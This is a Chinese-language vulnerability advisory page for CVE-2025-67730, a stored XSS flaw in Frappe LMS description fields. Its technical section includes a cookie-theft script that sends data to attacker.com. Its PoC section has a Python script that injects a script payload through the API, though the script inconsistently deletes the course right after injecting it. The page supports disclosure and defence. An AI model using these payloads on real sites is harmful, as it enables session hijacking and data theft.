IPBUF安全漏洞报告
English
CVE-2025-67730 CVSS 5.4 中危

CVE-2025-67730 Frappe LMS存储型XSS漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-67730
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Frappe Learning Management System (LMS)

相关标签

存储型XSSFrappe LMSCVE-2025-67730Web应用安全跨站脚本认证绕过输入验证不足

漏洞概述

Frappe Learning Management System(LMS)是一款开源的学习管理系统,帮助用户结构化教学内容。该系统在2.42.0之前的版本中存在严重的存储型跨站脚本(Stored XSS)漏洞。漏洞源于系统在处理Job(工作)、Course(课程)和Batch(批次)表单的描述字段时,未对用户输入进行充分的HTML和JavaScript代码过滤。攻击者只需拥有低权限的认证账户,即可通过在描述字段中注入恶意脚本代码。当其他用户访问包含这些描述内容的页面时,恶意代码将自动执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重后果。由于攻击代码存储在服务器端,每次页面加载都会触发攻击,具有持久性和广泛影响性。

技术细节

该漏洞属于存储型XSS(Stored Cross-Site Scripting)漏洞,攻击流程如下:1)攻击者使用低权限账户登录Frappe LMS系统;2)在创建或编辑Job、Course或Batch时,在description字段中插入恶意JavaScript代码,如:<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>;3)系统未进行输入验证和输出编码,直接将恶意代码存储到数据库;4)当管理员或其他用户访问相关页面时,浏览器会解析并执行存储的恶意脚本;5)攻击者可借此窃取用户会话Cookie、伪造用户操作或进行进一步的社会工程攻击。漏洞的根本原因是Frappe LMS在处理富文本输入时缺少严格的HTML过滤机制,未使用Content Security Policy(CSP)头部保护,以及缺少对用户输入的白名单验证。修复版本2.42.0增加了输入验证和输出编码机制。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标Frappe LMS系统版本,确认版本低于2.42.0
STEP 2
步骤2
初始访问:攻击者获取低权限账户(通过注册或社会工程手段)
STEP 3
步骤3
载荷注入:攻击者登录系统,在Job/Course/Batch表单的description字段中注入恶意JavaScript代码
STEP 4
步骤4
持久化:恶意代码被存储到数据库中,每次相关页面被访问时都会执行
STEP 5
步骤5
触发:管理员或其他用户访问包含恶意描述的页面时,XSS载荷自动执行
STEP 6
步骤6
数据窃取:攻击者通过XSS窃取用户Cookie、会话令牌或进行进一步的攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-67730 PoC - Stored XSS in Frappe LMS # Target: Frappe LMS < 2.42.0 base_url = "https://target-site.com" login_url = f"{base_url}/api/method/login" xss_payload = "<script>alert(document.cookie)</script>" session = requests.Session() # Step 1: Login with low-privilege account login_data = { "usr": "[email protected]", "pwd": "password123" } response = session.post(login_url, json=login_data) # Step 2: Create Course with XSS payload in description course_url = f"{base_url}/api/method/lms.lms.doctype.course.course" course_data = { "title": "Malicious Course", "description": xss_payload, "course_template": "", "enable_legacy_link": False } response = session.post(course_url, json=course_data) # Step 3: When admin views the course, XSS executes print("XSS payload injected successfully") print("Wait for admin to view the course page") # Cleanup: Delete the malicious course course_name = response.json().get("data", {}).get("name") delete_url = f"{base_url}/api/method/frappe.client.delete" session.post(delete_url, json={"doctype": "Course", "name": course_name})

影响范围

Frappe LMS < 2.42.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用或限制Job、Course、Batch表单的description字段输入;2)部署Web应用防火墙(WAF)规则过滤<script>等危险标签;3)启用HTTPOnly和Secure标志保护Cookie;4)限制低权限用户创建或编辑这些表单的权限;5)监控日志中的异常JavaScript代码模式。建议尽快完成版本升级以根本解决漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表